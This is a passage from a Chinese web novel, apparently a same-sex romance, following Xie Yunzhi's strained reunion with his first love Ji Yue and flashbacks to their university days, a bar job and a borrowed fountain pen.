谢允执没停下脚步,声音裹在冷风吹出来的白气里,半分温度都没有,他垂着眼睫看向路面,连余光都没分给身侧的人半个,下颌线绷得紧紧的,脸上没有任何多余的表情,像是连跟他多待一秒都觉得不耐烦。 季越突然抬手攥住了他的手腕,指节用力收紧。温热的皮肤贴上来,谢允执想挣脱,对方却钳得更紧,加重了力道。 谢允执垂眼盯着被攥住的小臂,眼底掠过一丝厌恶。 “你烦不烦?” 他以前从没用如此粗暴和恼怒的口气对他说过话。季越心里突然蹿起一股无名火,少爷脾气险些发作,最终还是强压了下去。 刚回国的时候,他就听谢允执说过不想再见到自己,可他没想到对方竟然冷漠到这种地步。 “放手。”谢允执皱着眉,“你已经结婚了,希望你能专一一点。几年前我遇到程唯,她问我有什么话想对你说,我说希望你们俩百年好合。那不是客套话,我是真的希望你可以幸福。这就是我想对你说的话,所以别再缠着我了。” 季越眼中闪过一丝落寞,抓着他的手并未松开,只是力道已经没有刚才那么大了。 成功抽回手后,谢允执转身向前走去,身后的人忽然开口:“对不起。” 声音低沉且认真。 谢允执心里突然刺痛了一下。 对不起什么?对不起当初抛下我一走了之?还是对不起明明说过要在一起,最后却和女人结了婚? 不知道他是带着什么表情说出这句话的,谢允执没有回头。依旧向前走去。 “还有件事我想跟你解释,”季越接着说,“和你分手以后,我没跟任何女人结婚,也没和任何人交往过。” 谢允执脚步一顿,后背绷得笔直,连呼吸都慢了半拍,耳朵里嗡嗡地响,只有季越说的这句话翻来覆去地打转。 他以为自己这些年早就把这些情绪熬平了,可听到这句话的时候,心脏还是像被一只无形的手攥紧,密密麻麻的疼顺着血管爬满四肢百骸。那些压在箱底不敢碰的旧回忆,那些咬着牙劝自己放下的不甘,那些无数个深夜冒出来的“如果”,在这一刻全都翻涌上来,堵得他说不出一句话。他张了张嘴,喉咙干涩得发紧,半天吐不出一个字,只能就那样僵在原地。 身后传来逐渐靠近的脚步声,每一声都像是踩在谢允执的心上,越来越近。 “我爱你。” 温热的气息顺着后颈漫上来,带着他独有的雪松香,季越突然收紧手臂,将谢允执揽入怀中。 “只爱你一个人,过去是,现在也是。” 他说这话时语气很坚定,谢允执甚至能清晰地感受到对方胸腔里剧烈的心跳,和自己的心跳在冰冷的空气里共振。 他挣扎了一下,却被季越抱得更紧,男人将下巴抵在他的肩膀,声音带着压抑的情绪:“对不起……我知道我混蛋,都是我的错,能不能再给我一次机会?” 谢允执攥着指尖,指节泛白,他深深吸了一口气,说:“我们之间已经结束了。”声音平静无波,却带着一种不容置疑的决绝,“你现在说这些,不过是在我的伤口上撒盐。” 季越默默地松开了手,眼神里充满了失落和无助。 “到底要我怎么做你才能原谅我?” 说这话的时候,他把声音降低成一种恳求的声调。 谢允执没有回答。被骗过一次,谢允执已经不敢再轻易相信他的任何话了。自己暗恋了他五年,才敢把爱说出口,可是从小在爱意中长大的他,却能轻易把“我爱你”三个字挂在嘴边。 即使他说的是真的,事到如今,他们还能重新开始吗?他的家人会同意他们俩在一起吗?想到这里,酸热的心一时冷了下来。 谢允执觉得胃里有些难受,全身都传来针扎般的疼痛。 回到家后,他把手里的东西放在茶几上,之后快步走进了卫生间。 刚才和季越说话的时候,他就有些不舒服。之前去医院检查,医生说他患上了创伤后应激障碍。和那人分手之后,他频繁做着被背叛的噩梦,午夜惊醒时满身都是冷汗,整宿整宿地睡不着觉,也吃不下几口东西。 他用凉水冲了把脸,但不适感依旧强烈,他跪在马桶边缓了一会儿,最后还是吐了出来。 看着马 桶里刺目的红,他心里凉了半截,缓了好一会儿才扶着墙站起身。 只要一碰到和季越相关的事,胃就会拧着劲儿疼,他本来就有胃炎,严重的时候就像今天这样,会直接吐出血来。 从口袋里摸出药吃了,情况才稍微好转。冲掉呕吐物后,他刷了牙,又洗了把脸,才回到卧室。 他走到玻璃窗边,能看到外面成片的红瓦屋顶,太阳被云层遮住,屋子里冷冰冰的,一股阴森森的灰尘的味道。 东边不远处就是黄浦江和外滩,从这里似乎也能听到冰面下暗潮涌动的流水声。街道两旁,作为标志性景观的法国梧桐,此刻树叶早已经落尽,露出浅褐色的树皮,给人一种悲凉的感觉。 谢允执心想,如果世界上只剩他和季越,也许他们就能在一起吧......可现实不是幻想,过去的经历早让他明白,初恋之所以美好动人,是因为那时的感情没有猜忌,没有疏离,一切都纯粹而温暖。可是,初见时的那份美好通常难以长久。 他已经不再像从前那样天真,他清楚地知道,自己和季越之间是没有未来的。 …… 九月,大一开学的第三个星期。早上六点,宿舍的闹钟就响了。 “我靠,这么早谁定的闹钟啊!” “sorry,是我定的闹钟,忘记昨天是军训的最后一天了。” 早上被室友的闹钟吵醒后,谢允执就再睡不着了,索性爬起来靠在床头用手机刷了会儿招聘信息。 直到七点半他才下床洗漱。 今天是他上大学后第一天开始正式上课。上午在阶梯教室上完法理学后,谢允执走出教室,打算去楼下超市买个三明治当午餐。 经过二楼走廊时,一个戴眼镜的学长突然拦住他,笑吟吟地问:“同学,对电影感兴趣吗?要不要加入电影社?” 谢允执没有参加社团的打算,虽然校方鼓励学生参加社团活动,但他的计划是用课余时间打工赚钱。他很少看电影,对电影的兴趣也不算浓烈。 正想开口拒绝,隔壁走廊突然走来一个人,朝眼镜学长问道:“请问这里是电影社的报名处吗?” 还未看清他的脸,只是听到他的声音,谢允执就猛地顿住了到嘴边的话,不自觉睁大了眼睛。他缓缓抬起头,视线落在对方脸上。 “对,同学你想加入吗?” “嗯。” 季越额前的碎发随性垂着,发尾扫过浓密的眉峰,眼尾微微上挑,带着几分漫不经心的笑意,下颌线利落清晰,白衬衫领口松松垮垮敞着两颗扣子,站在逆光里,整个人透着一股不羁的少年气。 谢允执盯着他的脸,喉结悄悄滚了一下。 戴眼镜的学长把手里的传单递季越,说:“这是我们社团的简介,上面附有报名表。如果想入社,现在填完表,待会儿就能直接参加面试。” 季越接过传单,在走廊的椅子上坐下,开始填写报名表。他低着头,搭着笔的骨节分明。 谢允执是高一下学期转去的实验中学,和季越同班。后来上大学,季越考上了武大,谢允执本来也报了武大,但分数比录取线低了六十多分,复读一年后,他才和季越考进了同一所大学。 他是为了能再见到他才读这所大学的,没想到重逢来得如此之快。 尽管只是偶遇,谢允执也想和他多待一会儿,对眼镜学长道:“可以给我一张报名表吗?” “当然可以。” 谢允执从学长手中接过宣传单和报名表后,在季越对面的椅子上坐了下来。 大概是听到他说也想加入社团,季越突然抬头看了他一眼。 两人的视线在闷热的空气中短暂交汇,谢允执的心跳得像擂鼓一样,但季越很快又移开了目光。 尽管高中时他们是同班同学,而且高中三年,他一直默默暗恋着对方,但那人并没有认出他。谢允执心中忍不住有些失落。 5. 初见 电影社的面试结束后,谢允执回到了宿舍。他在书桌前坐下,打开堂哥送他的笔记本电脑,在上面搜索大学生可以做的兼职。 从高二起,赵明峰就没再给过他生活费了,一直是谢雯在给他转钱。但谢雯和宋至的女儿去年刚上幼儿园,而且谢雯还在为宋至的前妻提供住院费和手术费,他们俩在经济上并不宽裕。高三毕业后,谢允执就没再向谢雯要生活费了。他向银行申请了两万的助学贷款,打算靠自己做兼职把这笔钱还清。 招聘网页上,目前他能做的工作主要有家教、餐厅和奶茶店的服务生,图书馆管理员,酒吧服务员,或是在补课机构当代课的老师。 工资比较高的是酒吧服务员,但上班时间主要在下午和晚上,其次是家教,按小时收费,如果补课次数多,也能赚不少钱。 “咚咚。” 门口突然响起一阵敲门声。 “谁啊?”正坐在床上背单词的彭宇抬起头问道。 “我是顾存。”门外的人回答道。 彭宇是他们宿舍的寝室长,他想起之前在宿管给他的宿舍人员名单上看过“顾存”这个名字,于是放下手机,起身给他开了门。 一个穿着名牌工装夹克外套的年轻人进入他的视线。 “你们好。” 姗姗来迟的新室友向众人打了个招呼,之后拖着行李箱走进宿舍。将宿舍打量一圈后,顾存很快找到了自己的床位。在靠窗的西南角,谢允执的对铺。他把行李箱放在床边,彭宇把门关上,站在饮水机旁边问: “哥们儿,都开学快半个月了,你怎么才来啊?” “家里有点儿事要处理,就跟学校请了半个月的假。” 顾存是诺远集团董事长的儿子,假期一直在父亲的公司实习,学习管理和运营的知识,他是个名副其实的富二代,长这么大还是第一次离家住校。为了和室友打成一片,顾存选择暂时隐藏自己“家里有矿”的事实。 大家互相做了自我介绍,很快熟络起来。 聊了会儿天后,顾存觉得有点热,他把手表摘下放在书桌上,转身走去浴室洗澡。 结果刚过了一分钟,里面就传来一句“我靠。” “怎么了?”彭宇问。 “怎么只有冷水?!冻死爷了。” “他是不是没插卡啊?”另一个室友说。 “我去看看。”谢允执离浴室比较近,他从书桌前起身,来到浴室门口。 “顾存,你是不是没插卡?热水要插卡才能用。” “什么卡,银行卡?”顾存给自己披上浴巾,推开门,他的头发已经被淋湿了,身上凉飕飕的。 “不是,是校园卡。” 谢允执从上衣口袋里拿出自己的校园卡递给他:“校园卡可以在工学部的一楼大厅办的,但现在太晚了,你先用我的吧。开关附近有插卡位置,把卡放进去就行了。” “好。”顾存从谢允执手里接过卡片。又说了一句:“谢了。” “没事。” 顾存按照他说的操作后,淋浴器里很快就有了热水。洗完澡后,顾存把卡片还给谢允执。之后他开始铺床单,但被芯在被单里团成一团,怎么也舒展不开,他扯了半天都没把四个角对齐。 谢允执有些看不下去了。他想这人在家里应该很少做家务,大概是个娇生惯养的小少爷。 顾存被弄得有些心烦,最终决定放弃,转身对谢允执道: “谢哥,能不能帮我拉一下被子?” “我帮你铺吧。”谢允执走过来,接过他手里的被角,三两下就把被芯平整塞进被单里,抬手拍了拍床面整理好褶皱,回头看见顾存一脸“牛逼”的表情,有些哭笑不得。 “我还想去买点东西,你知道超市在哪儿吗?” 谢允执又带他去了一趟超市。第二天去办校园卡时,顾存不知道工学部大楼在哪儿,也是谢允执给他带的路。于是顾存对这位室友产生了很大的好感。从这以后,俩人就经常一起行动。上完课后再一起约着吃几次食堂,就已经是称兄道弟的关系。 谢允执看起来斯斯文文的,平时话不多,但人特别靠谱。明明他们俩年纪相差不大,顾存还跟个高中生一样毛毛躁躁的,谢允执却沉稳冷静,不管遇到什么事都很淡定,虽然有点清冷疏离,但脾气很好,像个邻家大哥哥似的。顾存觉得谢允执是他上大学后交到的第一个好朋友。 参加电影社面试一周后,谢允执就接到社长路妍发来的短信,通知他社团的面试通过了。路妍把他拉进了电影社的QQ群,谢允执注意到季越也在群里。 为了再次见到季越,谢允执参加了周五那天社团组织的观影会。 观影会在第五教学楼的多媒体教室举行,可是一直到电影放映结束,他都没有遇到季越。后来他又参加了几次社团活动,季越也都没有出现。 谢允执多少有些失望,本以为加入社团就能和他有更多接触机会,希望却一次次落空。 再次见到季越是在一周后。那天谢允执和宿舍的人一起出去团建。吃完烤肉后,顾存忽然问他们要不要一起去酒吧。 “离这儿不远,就在楚河汉街,那家店是我表哥开的,刚开业不久,我想带点朋友去给他捧捧场。” 程宇和另一个室友江浩都说要去。顾存知道谢允执不能喝酒,特意对他道: “谢哥,你也一起去吧?那店是个音乐酒吧,店里有果汁和咖啡,去了不喝酒也行的。大部分客人跟我们一样都是学生,环境挺好的,不是什么乱七八糟的地方。” 谢允执点了点头。于是一行人离开了商场,坐地铁来到楚河汉街。 顾存提到的酒吧在步行街主街上,店面招牌以纯白色为底,亮着蓝色的灯,名字叫“初见”。 出乎意料的是,这家店虽然新开不久,生意却并不冷清,店里座位大半都坐满了人。 带着他们在舞台下方的一个座位上坐下后,顾存四下张望着。 “奇怪,怎么没看到我表哥在哪。” 顾存脱了夹克外套,从兜里拿出手机,给许驰发了条语音消息。 “喂,你这老板怎么当的,我带朋友来你店里了,你人呢?” 许驰:“我跟季越去外面吃饭了,刚吃完,马上回店里。” “季越也来了?” 谢允执就坐在顾存旁边,听到他说出那个名字时,稍微愣怔了一下。 耳边充斥着音乐声,但他确定自己没有听错。 顾存也认识季越吗? 过了几秒,那头的表哥才回复道:“对,我让他来店里弹钢琴,帮忙暖暖场,结果这小子说他时间很宝贵,非跟我要演出费才肯来。真不够哥们儿。” 顾存笑了下,对着手机说:“他缺那点钱吗?我觉得他就是存心坑你。” 谢允执看了眼顾存,用勺子搅拌着杯子里的咖啡,他想问顾存和季越是怎么认识的,但还没开口,身边的人突然站起身,抬起右臂朝着门口挥了挥。 谢允执也下意识望向酒吧入口。 季越穿着一件红色的外套,双手插在兜里,正朝他们的座位走来。 上次见到他,已经是半个月前的事了,谢允执一直想再见他一面,没想到会在这里再次碰到他。 “表哥,这些是我室友,过来给你添添人气。” 许驰留着及肩的长发,气质非凡,一双凤目盈盈含笑,对众人道:“欢迎,今天酒水算我的,你们随便喝。”说不出的温柔亲切。 顾存搂着季越的肩,对几位室友道:“这是我发小,季越。” “你们好。”季越的目光扫过众人,经过谢允执的脸上时顿了一下。 男生肤色白皙,黑白分明的眼眸干净又温和,像初冬的薄冰下淌着一泓静水。橘色的灯光在他英俊的侧脸上留下一片光影,看起来温润又清冷。 熟悉感在大脑一闪而过。总觉得这张脸好像在哪儿见过,却怎么也想不起来了。 酒吧目前人手严重不足,许驰和他们简单寒暄几句后,就去吧台帮忙接待客人了。他虽然是老板,却没什么架子。 季越刚坐下没多久,旁边便传来一个男人的声音。 “你好。” 季越抬头,一个西装革履的男人不知何时来到了他的面前。对方留着短发,面相聪颖,看起来二十七八岁,有一口洁白的牙齿。 “看到你进来,我就觉得你长得很帅气,让人移不开眼,我还在想,这么漂亮的人不知道有着什么音色,果然,你的声音也很好听。” “初见”的定位是音乐酒吧,但同时也是男女自由联谊的场所,客人之间相互搭讪,寻求艳遇并不稀奇。眼前的男人很明显是来找乐子的。 对他的奉承,季越只是礼貌又客气地回了一句“谢谢夸奖”。 “可以聊会儿天吗?” 这不是季越第一次被同性搭讪,他既没有愤怒,也没有流露出厌恶,只是用指尖轻轻叩了下桌沿,道:“抱歉啊,我不是gay,对男人没兴趣。” 男人脸上的笑意没退,却也看出了对方的婉拒,心情有些沮丧,但并没有继续纠缠:“是我唐突了,我就是单纯过来夸夸你,没什么别的想法,打扰了。” 看着西装男的背影逐渐远去,谢允执整齐的眉毛蹙了起来。脑海里回荡着季越几乎不假思索便脱口而出的那句话。 抱歉啊,我不是gay,对男人没兴趣。 觉得好像有一把枪抵在自己脑门上,整个人都开始心神不安。 “为什么你老是被gay搭讪?”顾存翘起二郎腿,一脸疑惑地说。 “没办法,怪我长得太帅了。”季越耸耸肩,得意地勾了一下 嘴角。 “少臭美了。我比你帅多了,怎么就没遇到过这种事呢。我觉得可能是你这种长相比较吸引gay。” “顾存,人贵有自知之明。你跟我比,那还是差远了。” “我靠,你嘴怎么这么毒啊,”顾存对着他翻了个白眼,抡起拳头,狠狠捶了一下他的肩膀,“要不是咱俩关系好,我他妈真揍你了。把你揍成一个猪头,看你还敢说你比我帅。” “现在的gay都这么大胆吗?”彭宇皱着眉说:“他们是怎么想的啊,男的跟男的,一起那啥的时候不觉得恶心吗?当着我们那么多人跟你搭讪,不知道的还以为这里是gay吧呢。” 他说话很直,眼底流露出毫不遮掩的厌恶。 谢允执觉得“恶心”这两个字像一把没有鞘的刀,锋利地刺进他耳朵里,就好像在刻意说他。 他一直觉得彭宇是个不错的人,可是他忽略了一点,至今为止他能和室友们相处融洽,是因为他隐瞒了自己的性取向。如果他们知道他喜欢男人,会怎么看他? 大概会和他绝交吧。哪怕是最好的朋友,最亲的亲人,也可能突然翻脸不认人。 在得知他的性取向后,父亲就曾经扇过他一巴掌,指着他说:“我宁愿没有你这个儿子。” 季越原本只是懒洋洋地靠在沙发上,听到“恶心”两个字,抬眼看向彭宇。 “性取向这事又不是人能选的,跟左撇子一样,天生的。犯不着因为这个就觉得人家恶心吧。”语气不重,却字字清晰。 彭宇被他呛了一下,但自知理亏,也就没再说什么。可是内心深处,他还是无法接受。 谢允执知道季越刚才那话不过是随口一提,不是为了他才这么说的,尽管如此,他还是觉得心中一暖,有种松了口气的感觉。 这之后,彭宇一直绷着脸。季越叫来服务员,点了一杯玛格丽特,酒送上来后,他却没怎么喝。 察觉到气氛有些僵硬,江浩忙转换了话题:“季学长,你学钢琴多久了啊?” “十多年了。”季越回答说。 “能学这么久,你一定很喜欢钢琴吧。” “不,其实比起钢琴,我更喜欢吉他。钢琴和我的性格不搭,给人的感觉太严肃。” 大家聊着天,谢允执却一直在走神去注意季越。他不是很会聊天的人,和其他人一起聚会时,通常只是做个安静的听众。 所以哪怕季越就在他的对面,他们俩也没怎么聊上天。 “我去一下厕所。”谢允执突然起身说。 他离开后,季越单手撑在颊边,一直盯着他的背影。 “你怎么一直盯着他看?看上他了?”顾存半开玩笑道。 “怎么可能。我就是觉得他有点眼熟。” “眼熟?不会吧,你们俩之前见过?” “可能吧。” …… 宿舍的门禁时间是晚上十一点,在酒吧玩到九点半后,江浩看了眼表,说时间不早了。大家决定今天就玩到这里,改天有时间再来这儿玩。 许驰和季越说可以开车送他们回去。 彭宇刚刚和季越发生过口角,便说想坐老板的车,江浩和他关系要好,也和他坐同一辆车,故而顾存和谢允执就由季越负责送回学校。 外面天色已暗,大街上亮着绚丽夺目的蓝色、红色霓虹灯光,谢允执和顾存在路边站了一会儿,凉爽的晚风迎面扑来,很快,季越就将车子开了过来。 那是一辆红色的奔驰,哑光漆面,看起来非常有质感,和他本人的气质一样,野性张扬又不羁。 顾存在副驾驶座位上坐下,谢允执则拉开车门,坐进汽车的后座。 车子发动后,顾存问:“你这车多少钱买的?真骚气。” 季越说出一个不菲的价格。 车厢内光线昏暗,谢允执坐在后座听着,觉得那简直是个天文数字。他想,他和季越果然是两个世界的人。暑假时他每天打工八个小时,整个暑假只赚了一万多块钱。他本来觉得已经挺多了。但这点钱和这辆车的价格相比,连零头都比不上。 有的人生来就在罗马,不仅锦衣玉食,还有宠爱他的父母。那到底是怎样一种生活呢? 谢允执想象不出来。总觉得离自己好遥远。 谢允执看着季越。从这个方向,只能看到他的侧脸。他正专注地看着前方,晚风吹过,他额前的碎发轻轻晃了一下,他的嘴唇很薄,不笑的时候带着点天然的冷淡。 如果现在和他告白,会怎么样呢?大概率会和酒吧里那个男人一样,被他礼貌地拒绝吧,然后像过客一样,被他遗忘。 想到这里,谢允执的眉头拧起来,嘴唇也抿承一条直线,嘴角往下压着。 明明季越就在他的前方,和他的距离不到一米,谢允执却觉得他遥不可及。 6. 在意 回到学校后,谢允执和顾存并肩朝校门口走去,刚迈出几步,谢允执就听到身后有人在叫自己的名字。 他转过头,看到谢川正从旁边的街道跑过来。 谢川是他的表哥,由于体型肥胖,两腿摩擦着,显得有些笨拙。 “顾存,你先回宿舍吧。我跟我表哥聊会儿天。” “行。”顾存点点头,率先朝宿舍走去。 谢川刚从校门口的水果店出来,手里还提着两袋柿子。他把其中一袋分给了谢允执。 谢允执接过后对他说了句“谢谢”。 “刚才是季越开车送你们回来的?” 刚才出现在校门口的那辆红色的奔驰实在太显眼,打车不可能打到那种豪车。 “嗯,他是我室友的发小。”谢允执问,“你也认识他?” 高中的时候,季越就是学校的风云人物,不仅经常出现在学校的荣誉榜上,因为长得好看,照片还在校园群里广为流传,几乎全校学生都认识他。 “那当然,你刚来学校可能不知道,他在我们医学系里可出名了。据说他妈妈是一位大官的女儿,不是一般的官,级别可高了,省部级以上的。他家里就是官商结合的典范,他爸爸是继远集团的董事长,你要是看财经频道,估计天天都看到他。” 谢允执点点头,其实他并非完全不知道,高中的时候学校里就有很多人讨论过他的家世背景。那时候谢允执就知道,他可能这辈子做不了季越外公那么大的官,也不可能拥有他父亲同等的身家。 “听说他父亲本来想送他出国学金融的,结果他一身反骨,自己改了志愿,非要选择留在国内读大学,而且还是学医。” 一直在说个不停的表哥突然叹了口气道:“我们普通人学医是为了谋生,为了阶级跨越,他却只是为了理想。真羡慕这种人啊,不仅家庭背景好,自己也很优秀,可能这就是传说中的上帝宠儿吧。” “是啊。”谢允执赞同道。他这样的背景和头脑,感觉做什么都不会差。 “不过,他好像是个同性恋.....”谢川突然话锋一转。 谢允执愣了一下。 “啊?” “有人看见他去过gay吧。”谢川煞有介事地压低了声音。 “就算这样,他也不一定就是gay吧。”谢允执忍不住苦笑:“我敢打赌他绝对不是。” 季越去过gay吧的事,谢允执也知道。高中的时候,他关注了季越的微博。季越偶尔会在上面发一些演出的动态。 暑假的时候,他看到季越发过一张照片。 背景里是虚化的人群,有人举着酒杯,有人侧过脸在交谈。只有他是清晰的,轮廓分明又带着少年野性的五官,穿着燕尾服,手指搭在钢琴上。 明明是正式的服装,白衬衫的袖口却挽到小臂,领口也微微敞开,透露出一丝反叛。 评论区有粉丝认出那是一个叫Rainbow的gay吧,评论道:“这不是gay吧吗,我男神难道是gay?呜呜呜,失恋了。” 他还记得季越的回复:“不是gay,只是去那里演出。” 见谢允执回答得这么肯定,谢川疑惑道:“你怎么知道,你跟他很熟吗?” 谢允执懒得再接话。这种事争起来没完没了,何况他跟季越确实不熟。他倒希望那人真是gay,那样他也就不用一直单相思了。 回到宿舍的时候,室友们都还没睡。程宇在洗澡,顾存和江浩挤在桌前,在看着电脑上的什么东西。 谢允执刚进门,江浩就朝他招手道:“谢哥,快来看,你被评为咱们法律系的校草了。” 谢允执脱了外套,走到二人身旁看了一眼。 电脑上是学校论坛举办的校草评选活动页面。 谢允执发现自己参加电影社观影会时和学姐学长一起拍的那张照片被传到了网上。 得票数竟然位居第一。 顾存对自己没能得第一这件事备受打击。他偏头打量了一下谢允执。单眼皮,薄唇,皮肤很白,评论区都说这是初恋脸。 谢允执对这件事没有太大的反应,淡淡道:“我以前长得挺丑的。” “不可能吧,你在凡尔赛?” “没开玩笑,我是说真的。” 谢允执的确不是那种会开玩笑的人,江浩道:“我很好奇,你高中那会儿长什么样啊?” 高中那时候,谢允执脸上长了很多青春痘,因为自卑,经常戴着口罩。而且他不太会打理自己,刘海很长,又戴着厚重的黑框眼镜,一年四季总是穿着蓝白相间的校服,看起来就是个平平无奇的男高中生。 他之所以会变成现在这样,是因为暑假打工的时候,店里老板说他头发太长了,硬带他去理了发。剪掉遮住眼睛的刘海后,才发现他的五官其实特别端正,就好像一下子脱胎换骨了一样。 老板劝他把黑框眼镜换成了隐形眼镜,十八岁后,他脸上的青春痘也消失了,于是原本高中走在路上谁也不会在意的人,进入大学,却成了回头率很高的帅哥。 “别好奇了,那是我的黑历史。”谢允执说。 江浩笑了笑,没再追问。之后他又点进了系花评选区,谢允执觉得位居第一的女生有点眼熟,回想片刻后,记起来她就是之前电影社面试时在走廊遇到的那个女生。 谢允执在上面看到了她的名字,叫乔思凡。 顾存和江浩开始讨论谁比较好看,顾存突然扭头问谢允执:“谢哥,你喜欢什么类型的女生啊?” 谢允执从没考虑过这个问题,摇了摇头,“我也不知道。” 应该也没有机会知道了。 自从遇到季越,他就没有再喜欢过别人。 洗完澡后,谢允执打开了笔记本电脑。过去两周空闲时间他都在做家教,给初中生补习物理和数学,但现在他考虑想换一份工作。 他点开之前收藏过的“初见”酒吧的招聘页面,记下HR的邮箱,将修改好后的个人简历发送了过去。 ...... 周一下午,辅导员在117教室召开了一次班会。这次班会一方面是为了让班上的同学彼此熟悉,另一个目的则是为了选举班委。 听表哥说,季越是临床医学2班的团支书,所以谢允执也参与了竞选。高中时季越是班里的文艺委员,人们总说,物以类聚,人以群分,如果变得更像他一点,或许就能离他更近一点了吧? 谢允执以前也很少参加集体活动,也没有担任过任何班干部,但是上大学以后他想彻底改变自己,缩短他和季越之间的距离。 和高中不同,大学每个专业班上的学生并不多。主动竞选团支书的只有两个人,一个是谢允执,另一个是杨齐海。 他们分别发表了竞选演讲,接着班里的其他同学在班级群里匿名投票。最终谢允执以五票之差超过杨齐海,成为了班里的团支书。 谢允执走到讲台上,发表了一段感谢众人的演讲,回到座位上后,顾存对他比了个大拇指道: “恭喜啊,谢书记。” 谢允执也对他笑了笑。 坐在两人后方的杨齐海却十分不爽,故意把椅子往前顶了一下,撞上谢允执的椅背。 “切,小白脸,神气什么?”他压低声音道,“你能被选上还不是因为班上女生多。” 谢允执蹙眉,正想反驳,身旁的顾存却先扭头回了一句: “呦,好大一股柠檬味。杨齐海,你椅子再往前顶一次,我就把你连人带椅子扔到后面垃圾桶里去。我谢哥就是比你长得帅,不服你撒泡尿照照自己,重新投胎去。” 语气十分嚣张,带着毫不掩饰的嘲笑。 顾存经常说季越嘴毒,其实他和季越一样,嘴都挺毒的。 杨齐海听到这话脸一黑,正要发作,讲台上方的辅导员忽然往他们这边看了一眼。 他只好压下怒气,心里却想:“他妈的,给老子等着”。 …… 下午在食堂吃饭的时候,谢允执接到一个陌生电话。点击接听后,里面传来一个熟悉的男声。 “你好,我是许驰,‘初见’酒吧的老板。” “你好。” “我看了你的简历,你明天有空来面试吗?” 谢允执明天只有早上排了课,便说有空,和许驰约好了明天下午四点在酒吧面试。 不过次日他还是提前半小时就到了店里。 这会儿还没到营业时间,酒吧里灯光调得很暗。之前季越弹过的那架钢琴仍安安静静地立在舞台上,四周的座位都空着,只有酒保坐在吧台边的高脚椅上,手里拿着白布正慢悠悠地擦着一只玻璃杯。 听到开门声,酒保朝门口的方向瞥了一眼。 只见一个穿着白T恤和深蓝色牛仔裤的年轻人。 “是来面试的吗?” “对。”谢允执扫了眼空旷的吧台:“老板在吗?” “他在二楼。”酒保放下手里的杯子,朝酒吧后门走去,“跟我来吧。” 谢允执跟着他穿过后门,从一道Z字形的楼梯上了二楼。 二楼是一栋四室一厅的房子,是许驰买下来用作休息室的,天花板上挂着水晶灯,整体的 装修低调中又透着矜贵。大概是出于许驰的兴趣,房间的墙壁上挂着两把弓箭和一个射箭用的靶子。 “老板,小谢来了。” 客厅中央的深咖色软皮沙发里躺着个人,正是许驰,他手指间夹着一支点燃的香烟,略长的头发落在肩头,看到谢允执后,许驰朝他露出一个儒雅的微笑。 把谢允执带到客厅后,酒保就转身离开了这里。 谢允执踩过铺在地上的一块手工编织的波斯地毯,来到沙发旁。 许驰朝他抬了下下巴,示意他“坐。” 待男人坐下后,许驰道:“谢允执,我记得你是顾存的室友?” “对。” 许驰把烟头在烟灰缸里捻灭,用目光上下打量他。和他接触的大部分人不同,谢允执的气质温润内敛,含蓄沉稳,看起来并不像喜欢逛酒吧的人。 “你为什么想来酒吧上班?”许驰问。 “为了赚钱。” 其实这只是借口。真正的理由他不能告诉任何人。 “我这儿上班时间是晚上七点到凌晨一点,周末有时候会更晚。你还在读书,第二天早上还要起来上课,身体吃得消吗?” “没问题的,我高三的暑假就一直在打工,已经习惯了少睡,我每周也只有两三天需要早起上课。” 许驰点点头,又问:“会喝酒吗?” 谢允执迟疑了一下,还是如实将自己不能喝酒的事告诉了许驰。 许驰看着他,沉默了两秒。 “你的意思是你不能喝酒,却来酒吧应聘?那如果客人让你给他推荐一款酒,你怎么办?” “我可以学。”谢允执认真道,“就像美食评论家不一定会做菜,给客人荐酒也不一定要喝过酒。” 许驰愣了下,一双桃花眼微微眯起,忍不住笑道: “也行,我这店刚开业,倒也不是很忙。调酒交给欧阳,你就先负责做一些杂活吧。从明天开始正式上班,行吗?” 谢允执:“意思是我通过了吗?” “对。工资月结,每月五号发。如果你有课就先上课,空闲时间再过来兼职,没有试用期,工资按出勤天数算。我这儿偶尔也有喝多了嗓门大的,闹事的倒不多。真闹起来,你别自己去扛,喊我或者叫警察。” “好。” 之后许驰递给谢允执一份合同,让他签名。 谢允执从书包里拿出钢笔,在合同上签下了自己的名字。 季越上来的时候,刚好看到了这一幕。 谢允执写字时神情很认真,微微低着头,露出白皙的脖颈,季越注意到他的侧颈上有一颗痣。 季越来到沙发旁,看了眼谢允执手里的钢笔,问:“你也喜欢万宝龙的钢笔?” 谢允执抬起头,对季越的突然出现有些意外,微微睁大了眼睛。不过他和许驰是朋友,会出现在这里倒也不令人意外。 “对。” 万宝龙的钢笔很贵,谢允执根本买不起,其实这支钢笔其实是季越给他的。 高二期末考的时候,谢允执和季在同一个考场考试,但是那天他的笔坏了。 老师问谁有多余的笔,季越举手说他有,就把这支钢笔借给了谢允执。 谢允执本想在考试结束后把钢笔还给季越,但是那场考试季越比他先交的卷,谢允执写完卷子的时候,季越已经不在学校了。 后来经过一个寒假,开学后季越似乎完全忘记了这件事,没有来找过他,也没有提起钢笔的事。 一直占有对方的物品,这种做法有些恶劣。但是出于私心,谢允执还是把这支钢笔留了下来。他没法拥有季越,那么能拥有他的一支钢笔也是好的。 现在钢笔的主人就在面前,谢允执也没办法告诉他这支笔其实是你借给我的。 “谢允执。”季看了眼他的名字,“你的字很写得漂亮。” 只是一句普通的夸赞,谢允执心里却好像有蜜化开。他对季越温和一笑,如万古长夜中燃起一盏明灯:“谢谢。” 事后过了很久,季越都还记得那张微笑的脸,白炽灯的光线把一切都照成透明的,连空气里的浮尘都看得清楚。 他的眼睛因为自己的一句夸奖而烨烨生辉。 其实当时应该是没有那么在意的,季越反复想过,那不过是一个男人在写字,但那幅场景却莫名让他感到熟悉。 当时的他根本没有时间和理由去注意那时候的细节,是在夏天快要结束,他们的故事快要真正开始的时候,他才开始借助回忆打磨了这一个碰面,连同气味、浮尘和谢允执脸上细微的表情。 7. 靠近 谢允执今天下午和晚上都没课,便主动要求留在酒吧,提前熟悉一下工作内容,当然更重要的是可以在季越身边多待一会儿。 许驰很高兴新员工对工作充满干劲,给他讲解了各种物品的摆放位置,还有POS机的基本操作。待谢允执学会后,许驰又领着他走进储物间隔壁的更衣室。 “在这儿上班得穿制服,你个子高,这是最大码的,你试试看合不合身,不合身我再重新给你定制。”许驰打开衣柜,从里面拿出一套叠放整齐的黑白制服递给谢允执。 谢允执从他手里接过制服,转身去了换衣间。他换好出来后,许驰后退一步,上下打量了他几眼,忍不住道:“不错,看起来挺合身的。” 谢允执来到酒吧后,酒保也觉得眼前一亮,说“我还是第一次见人把这制服穿得这么养眼。你平时不是有健身啊?身材真好。” 这还是谢允执头一次被夸奖。他的确一直在坚持锻炼身体,但不是在健身房,而是在他舅舅开的拳击馆里。 